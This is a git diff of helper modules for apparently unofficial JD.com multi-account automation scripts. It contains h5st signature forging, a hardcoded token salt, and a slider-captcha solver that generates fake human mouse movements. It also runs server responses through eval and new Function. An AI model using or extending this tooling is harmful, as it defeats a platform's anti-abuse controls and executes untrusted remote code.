+ 8*60*60*1000).toLocaleString()} ===========\n`) + } + done() { + let timestamp = new Date().getTime(); + let work = ((timestamp - this.timestamp) / 1000).toFixed(2) + console.log(`=========================脚本执行完成,耗时${work}s============================\n`) + console.log(`🔔${this.name}, 结束!\n`) + } + notify(array) { + let text = ''; + for (let i of array) { + text += `${i.user} -- ${i.msg}\n` + } + console.log(`\n=============================开始发送提醒消息=============================`) + notify.sendNotify(this.name + "消息提醒", text) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + setOptions(params) { + this.options = params; + } + setCookie(cookie) { + this.options.headers.cookie = cookie + } + jsonParse(str) { + try { + return JSON.parse(str); + } catch (e) { + try { + let data = this.match([/try\s*\{\w+\s*\(([^\)]+)/, /\w+\s*\(([^\)]+)/], str) + return JSON.parse(data); + } catch (ee) { + try { + let cb = this.match(/try\s*\{\s*(\w+)/, str) + if (cb) { + let func = ""; + let data = str.replace(cb, `func=`) + eval(data); + return func + } + } catch (eee) { + return str + } + } + } + } + curl(params, extra = '') { + if (typeof(params) != 'object') { + params = { + 'url': params + } + } + params = Object.assign({ ...this.options + }, params); + params.method = params.body ? 'POST' : 'GET'; + if (params.hasOwnProperty('cookie')) { + params.headers.cookie = params.cookie + } + if (params.hasOwnProperty('ua') || params.hasOwnProperty('useragent')) { + params.headers['user-agent'] = params.ua + } + if (params.hasOwnProperty('referer')) { + params.headers.referer = params.referer + } + if (params.hasOwnProperty('params')) { + params.url += '?' + qs.stringify(params.params) + } + if (params.hasOwnProperty('form')) { + params.method = 'POST' + } + return new Promise(resolve => { + request(params, async (err, resp, data) => { + try { + if (params.console) { + console.log(data) + } + this.source = this.jsonParse(data); + if (extra) { + this[extra] = this.source + } + } catch (e) { + console.log(e, resp) + } finally { + resolve(data); + } + }) + }) + } + dumps(dict) { + return JSON.stringify(dict) + } + loads(str) { + return JSON.parse(str) + } + notice(msg) { + this.message.push({ + 'index': this.index, + 'user': this.user, + 'msg': msg + }) + } + notices(msg, user, index = '') { + this.message.push({ + 'user': user, + 'msg': msg, + 'index': index + }) + } + urlparse(url) { + return urls.parse(url, true, true) + } + md5(encryptString) { + return CryptoJS.MD5(encryptString).toString() + } + haskey(data, key, value) { + value = typeof value !== 'undefined' ? value : ''; + var spl = key.split('.'); + for (var i of spl) { + i = !isNaN(i) ? parseInt(i) : i; + try { + data = data[i]; + } catch (error) { + return ''; + } + } + if (data == undefined) { + return '' + } + if (value !== '') { + return data === value ? true : false; + } else { + return data + } + } + match(pattern, string) { + pattern = (pattern instanceof Array) ? pattern : [pattern]; + for (let pat of pattern) { + // var match = string.match(pat); + var match = pat.exec(string) + if (match) { + var len = match.length; + if (len == 1) { + return match; + } else if (len == 2) { + return match[1]; + } else { + var r = []; + for (let i = 1; i < len; i++) { + r.push(match[i]) + } + return r; + } + break; + } + // console.log(pat.exec(string)) + } + return ''; + } + matchall(pattern, string) { + pattern = (pattern instanceof Array) ? pattern : [pattern]; + var match; + var result = []; + for (var pat of pattern) { + while ((match = pat.exec(string)) != null) { + var len = match.length; + if (len == 1) { + result.push(match); + } else if (len == 2) { + result.push(match[1]); + } else { + var r = []; + for (let i = 1; i < len; i++) { + r.push(match[i]) + } + result.push(r); + } + } + } + return result; + } + compare(property) { + return function(a, b) { + var value1 = a[property]; + var value2 = b[property]; + return value1 - value2; + } + } + filename(file, rename = '') { + if (!this.runfile) { + this.runfile = path.basename(file).replace(".js", '').replace(/-/g, '_') + } + if (rename) { + rename = `_${rename}`; + } + return path.basename(file).replace(".js", rename).replace(/-/g, '_'); + } + rand(n, m) { + var random = Math.floor(Math.random() * (m - n + 1) + n); + return random; + } + random(arr, num) { + var temp_array = new Array(); + for (var index in arr) { + temp_array.push(arr[index]); + } + var return_array = new Array(); + for (var i = 0; i < num; i++) { + if (temp_array.length > 0) { + var arrIndex = Math.floor(Math.random() * temp_array.length); + return_array[i] = temp_array[arrIndex]; + temp_array.splice(arrIndex, 1); + } else { + break; + } + } + return return_array; + } + compact(lists, keys) { + let array = {}; + for (let i of keys) { + if (lists[i]) { + array[i] = lists[i]; + } + } + return array; + } + unique(arr) { + return Array.from(new Set(arr)); + } + end(args) { + return args[args.length - 1] + } +} +module.exports = { + env, + eval: mainEval, + assert, + jxAlgo, +} diff --git a/function/config.js b/function/config.js new file mode 100644 index 0000000..ff6baad --- /dev/null +++ b/function/config.js @@ -0,0 +1 @@ +module.exports = {"ThreadJs":[],"invokeKey":"RtKLB8euDo7KwsO0"} \ No newline at end of file diff --git a/function/eval.js b/function/eval.js new file mode 100644 index 0000000..8aa31f7 --- /dev/null +++ b/function/eval.js @@ -0,0 +1,83 @@ +function mainEval($) { + return ` +!(async () => { + jdcookie = process.env.JD_COOKIE ? process.env.JD_COOKIE.split("&") : require("./function/jdcookie").cookie; + cookies={ + 'all':jdcookie, + 'help': typeof(help) != 'undefined' ? [...jdcookie].splice(0,parseInt(help)):[] + } + $.sleep=cookies['all'].length * 500 + taskCookie=cookies['all'] + jxAlgo = new common.jxAlgo(); + if ($.readme) { + console.log(\`使用说明:\\n\${$.readme}\\n以上内容仅供参考,有需求自行添加\\n\`,) + } + console.log(\`======================本次任务共\${taskCookie.length}个京东账户Cookie======================\\n\`) + try{ + await prepare(); + + if ($.sharecode.length > 0) { + $.sharecode = $.sharecode.filter(d=>d && JSON.stringify(d)!='{}') + console.log('助力码', $.sharecode ) + } + }catch(e1){console.log("初始函数不存在,将继续执行主函数Main\\n")} + if (typeof(main) != 'undefined') { + try{ + for (let i = 0; i < taskCookie.filter(d => d).length; i++) { + $.cookie = taskCookie[i]; + $.user = decodeURIComponent($.cookie.match(/pt_pin=([^;]+)/)[1]) + $.index = parseInt(i) + 1; + let info = { + 'index': $.index, + 'user': $.user, + 'cookie': $.cookie + } + if (!$.thread) { + console.log(\`\n******开始【京东账号\${$.index}】\${$.user} 任务*********\n\`); + } + if ($.config[\`\${$.runfile}_except\`] && $.config[\`\${$.runfile}_except\`].includes(\$.user)) { + console.log(\`全局变量\${$.runfile}_except中配置了该账号pt_pin,跳过此次任务\`) + }else{ + $.setCookie($.cookie) + try{ + if ($.sharecode.length > 0) { + for (let smp of $.sharecode) { + smp = Object.assign({ ...info}, smp); + $.thread ? main(smp) : await main(smp); + } + }else{ + $.thread ? main(info) : await main(info); + } + } + catch(em){ + console.log(em.message) + } + } + + + } + }catch(em){console.log(em.message)} + if ($.thread) { + await $.wait($.sleep) + } + } + if (typeof(extra) != 'undefined') { + console.log(\`============================开始运行额外任务============================\`) + try{ + await extra(); + }catch(e4){console.log(e4.message)} + } +})().catch((e) => { + console.log(e.message) +}).finally(() => { + if ($.message.length > 0) { + $.notify($.message) + } + $.done(); +}); + +` +} +module.exports = { + mainEval +} diff --git a/function/h5st.ts b/function/h5st.ts new file mode 100644 index 0000000..3f0463d --- /dev/null +++ b/function/h5st.ts @@ -0,0 +1,73 @@ +import axios from "axios" +import {format} from "date-fns" + +const CryptoJS = require("crypto-js") + +class H5ST { + tk: string; + timestamp: string; + rd: string; + appId: string; + fp: string; + time: number; + ua: string + enc: string; + + constructor(appId: string, ua: string, fp: string) { + this.appId = appId + this.ua = ua + this.fp = fp || this.__genFp() + } + + __genFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) + } + + async __genAlgo() { + this.time = Date.now() + this.timestamp = format(this.time, "yyyyMMddHHmmssSSS") + let {data} = await axios.post(`https://cactus.jd.com/request_algo?g_ty=ajax`, { + 'version': '3.0', + 'fp': this.fp, + 'appId': this.appId.toString(), + 'timestamp': this.time, + 'platform': 'web', + 'expandParams': '' + }, { + headers: { + 'Host': 'cactus.jd.com', + 'accept': 'application/json', + 'content-type': 'application/json', + 'user-agent': this.ua, + } + }) + this.tk = data.data.result.tk + this.rd = data.data.result.algo.match(/rd='(.*)'/)[1] + this.enc = data.data.result.algo.match(/algo\.(.*)\(/)[1] + } + + __genKey(tk, fp, ts, ai, algo) { + let str = `${tk}${fp}${ts}${ai}${this.rd}`; + return algo[this.enc](str, tk) + } + + __genH5st(body: object) { + let y = this.__genKey(this.tk, this.fp, this.timestamp, this.appId, CryptoJS).toString(CryptoJS.enc.Hex) + let s = '' + for (let i in body) { + i === 'body' ? s += `${i}:${CryptoJS.SHA256(body[i]).toString(CryptoJS.enc.Hex)}&` : s += `${i}:${body[i]}&` + } + s = s.slice(0, -1) + s = CryptoJS.HmacSHA256(s, y).toString(CryptoJS.enc.Hex) + return encodeURIComponent(`${this.timestamp};${this.fp};${this.appId.toString()};${this.tk};${s};3.0;${this.time.toString()}`) + } +} + +export { + H5ST +} \ No newline at end of file diff --git a/function/jdValidate.js b/function/jdValidate.js new file mode 100644 index 0000000..5bf9ca9 --- /dev/null +++ b/function/jdValidate.js @@ -0,0 +1,466 @@ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +const UA = 'jdapp;iPhone;9.4.6;14.2;965af808880443e4c1306a54afdd5d5ae771de46;network/wifi;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone8,4;addressid/;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1'; +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + getImageData(x, y, w, h) { + const { + pixels + } = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + return { + data: pixels.slice(startIndex, startIndex + len) + }; + } +} +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + // console.log(imgBg); + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + return this.recognize(); + } + recognize() { + const { + ctx, + w: width, + bg + } = this; + const { + width: patchWidth, + height: patchHeight + } = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + // not found + return -1; + } + runWithCanvas() { + const { + createCanvas, + Image + } = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const { + naturalWidth: w, + naturalHeight: h + } = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + const width = w; + const { + naturalWidth, + naturalHeight + } = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + // not found + return -1; + } +} +const DATA = { + "appId": "17839d5db83", + "scene": "cww", + "product": "embed", + "lang": "zh_CN", +}; +let SERVER = 'iv.jd.com'; +if (process.env.JDJR_SERVER) { + SERVER = process.env.JDJR_SERVER +} +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.n = 0; + } + async run() { + const tryRecognize = async () => { + const x = await this.recognize(); + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + // console.log(pos[pos.length-1][2] -Date.now()); + await sleep(3000); + //await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', { + d, + ...this.data + }); + if (result.message === 'success') { + // console.log(result); + // console.log('JDJRValidator: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + if (this.n > 60) { + return; + } + this.n++; + return await this.run(); + } + } + async recognize() { + const data = await JDJRValidator.jsonp('/slide/g.html', { + e: '' + }); + const { + bg, + patch, + y + } = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + if (x > 0) count++; + if (i % 50 === 0) { + console.log('%f\%', (i / n) * 100); + } + } + console.log('successful: %f\%', (count / n) * 100); + console.timeEnd('PuzzleRecognizer'); + } + static jsonp(api, data = {}) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = { + callback: fnId + }; + const query = new URLSearchParams({ ...DATA, + ...extraData, + ...data + }).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': UA, + }; + const req = http.get(url, { + headers + }, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline(response, zlib.createGunzip(), unzipStream, reject, ); + res = unzipStream; + } + res.setEncoding('utf8'); + let rawData = ''; + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split(""), + b = c.length, + e = +d, + a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} +const HZ = 32; +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [ + [this.x, this.y, this.t] + ]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 12, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + console.log(this.STEP, this.DURATION); + } + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + this.pos.push(lastPos); + return this.pos; + } + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 100, + }); + } + } + moveToAndCollect({ + x, + y, + duration + }) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + const currX = parseInt(this.x + 20, 10); + const currY = parseInt(this.y + 20, 10); + const currT = this.t + movedT; + this.pos.push([currX, currY, currT]); + } + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} +exports.JDJRValidator = JDJRValidator diff --git a/function/jdcookie.js b/function/jdcookie.js new file mode 100644 index 0000000..5444c49 --- /dev/null +++ b/function/jdcookie.js @@ -0,0 +1,6 @@ +// 本地测试在这边填写cookie +let cookie = [ +]; +module.exports = { + cookie +} diff --git a/function/jinli_log.ts b/function/jinli_log.ts new file mode 100644 index 0000000..1ec621a --- /dev/null +++ b/function/jinli_log.ts @@ -0,0 +1,9 @@ +let logs = [ +'"random":"34038984","log":"1649609592095~18RCD4zkS04d41d8cd98f00b204e9800998ecf8427e~1,1~E97F477EB64B001195F05A4D48067CD6C272595D~0doi8po~C~TRpGXBAPbWUeE0ZbWxoIam8ZFF9AXxAPBxQQQkEXDBoDBwYMAw8KBgcAAw4KAgEMABoeE0VQUhoIE0ZBQkxGV0dTFBQQRldUFAIQRVRBV01TRFMXGhpCVVwXDGMGHQIZBhQBHQAZB2UeE1hfFAIDHRBWRRoIEwVQUFpQAFABAAgEVAZTD1sGBwABUw9RCQMHDw1WCQAFFBQQX0IXDBp+WFxAThhKCQRqAAwQHRBBFAIQAAQBDw4CCAcMBAgLBBAZFFJZEwgXVxoeE1RFVBoIExAZFFZEEwgXcVddVl5QFnFcUhwXGhpcUEQXDBoLAwsGBRoeE0FWRBoIagQDARQBBgdoGhpAXhAPbRpTEx4XVxoeE1MXGhpTEx4XVxoeE1MXGhpTE28ZFFFdUBAPFF5UV1RTUExGEx4XV1IQCxBAFBQQUlsXDBpFAhwHGAwQHRBWUGdEEwgXBggQHRBXUhoIE0BUWFxdXA8GAggBCQsNAhoeE19fFAJpAR4FGghvHRBXWldVEwgXVxoeE19GURoIE1MXSw==~04y5u3i"', + + +] + +export { + logs +} \ No newline at end of file diff --git a/function/jxAlgo.js b/function/jxAlgo.js new file mode 100644 index 0000000..700ba86 --- /dev/null +++ b/function/jxAlgo.js @@ -0,0 +1,204 @@ +let request = require("request"); +let CryptoJS = require('crypto-js'); +let qs = require("querystring"); +Date.prototype.Format = function(fmt) { + var e, + n = this, + d = fmt, + l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +class jxAlgo { + constructor(params = {}) { + this.appId = 10001 + this.result = {} + this.timestamp = Date.now(); + for (let i in params) { + this[i] = params[i] + } + } + set(params = {}) { + for (let i in params) { + this[i] = params[i] + } + } + get(key) { + return this[key] + } + async dec(url) { + if (!this.tk) { + this.fingerprint = generateFp(); + await this.requestAlgo() + } + let obj = qs.parse(url.split("?")[1]); + let stk = obj['_stk']; + return this.h5st(this.timestamp, stk, url) + } + h5st(time, stk, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = this.enCryptMethodJD(this.tk, this.fingerprint.toString(), timestamp.toString(), this.appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex); + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex); + const enc = (["".concat(timestamp.toString()), "".concat(this.fingerprint.toString()), "".concat(this.appId.toString()), "".concat(this.tk), "".concat(hash2)].join(";")) + this.result['fingerprint'] = this.fingerprint; + this.result['timestamp'] = this.timestamp + this.result['stk'] = stk; + this.result['h5st'] = enc + let sp = url.split("?"); + let obj = qs.parse(sp[1]) + if (obj.callback) { + delete obj.callback + } + let params = Object.assign(obj, { + '_time': this.timestamp, + '_': this.timestamp, + 'timestamp': this.timestamp, + 'sceneval': 2, + 'g_login_type': 1, + 'h5st': enc, + }) + this.result['url'] = `${sp[0]}?${qs.stringify(params)}` + return this.result + } + token(user) { + let nickname = user.includes('pt_pin') ? user.match(/pt_pin=([^;]+)/)[1] : user; + let phoneId = this.createuuid(40, 'lc'); + + let token = this.md5(decodeURIComponent(nickname) + this.timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy'); + return { + 'strPgtimestamp': this.timestamp, + 'strPhoneID': phoneId, + 'strPgUUNum': token + } + } + md5(encryptString) { + return CryptoJS.MD5(encryptString).toString() + } + createuuid(a, c) { + switch (c) { + case "a": + c = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + break; + case "n": + c = "0123456789"; + break; + case "c": + c = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + break; + case "l": + c = "abcdefghijklmnopqrstuvwxyz"; + break; + case 'cn': + case 'nc': + c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' + break; + case "lc": + case "cl": + c = "abcdefghijklmnopqrstuvwxyz0123456789"; + break; + default: + c = "0123456789abcdef" + } + var e = ""; + for (var g = 0; g < a; g++) e += c[Math.ceil(1E8 * Math.random()) % c.length]; + return e + } + async requestAlgo() { + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'jdpingou;iPhone;4.9.4;12.4;ae49fae72d0a8976f5155267f56ec3a5b0da75c3;network/wifi;model/iPhone8,4;appBuild/100579;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html?ptag=7155.9.4', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": this.fingerprint, + "appId": this.appId.toString(), + "timestamp": this.timestamp, + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + request.post(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + let result = data.data.result + this.tk = result.tk; + let enCryptMethodJDString = result.algo; + if (enCryptMethodJDString) { + this.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + } + this.result = result + } + } + } catch (e) { + console.log(e) + } finally { + resolve(this.result); + } + }) + }) + } +} +module.exports = jxAlgo diff --git a/function/ql.js b/function/ql.js new file mode 100644 index 0000000..31e4883 --- /dev/null +++ b/function/ql.js @@ -0,0 +1,204 @@ +'use strict'; + +const got = require('got'); +require('dotenv').config(); +const { readFile } = require('fs/promises'); +const path = require('path'); + +const qlDir = '/ql'; +const fs = require('fs'); +let Fileexists = fs.existsSync('/ql/data/config/auth.json'); +let authFile=""; +if (Fileexists) + authFile="/ql/data/config/auth.json" +else + authFile="/ql/config/auth.json" +//const authFile = path.join(qlDir, 'config/auth.json'); + +const api = got.extend({ + prefixUrl: 'http://127.0.0.1:5600', + retry: { limit: 0 }, +}); + +async function getToken() { + const authConfig = JSON.parse(await readFile(authFile)); + return authConfig.token; +} + +module.exports.getEnvs = async () => { + const token = await getToken(); + const body = await api({ + url: 'api/envs', + searchParams: { + searchValue: 'JD_COOKIE', + t: Date.now(), + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + }, + 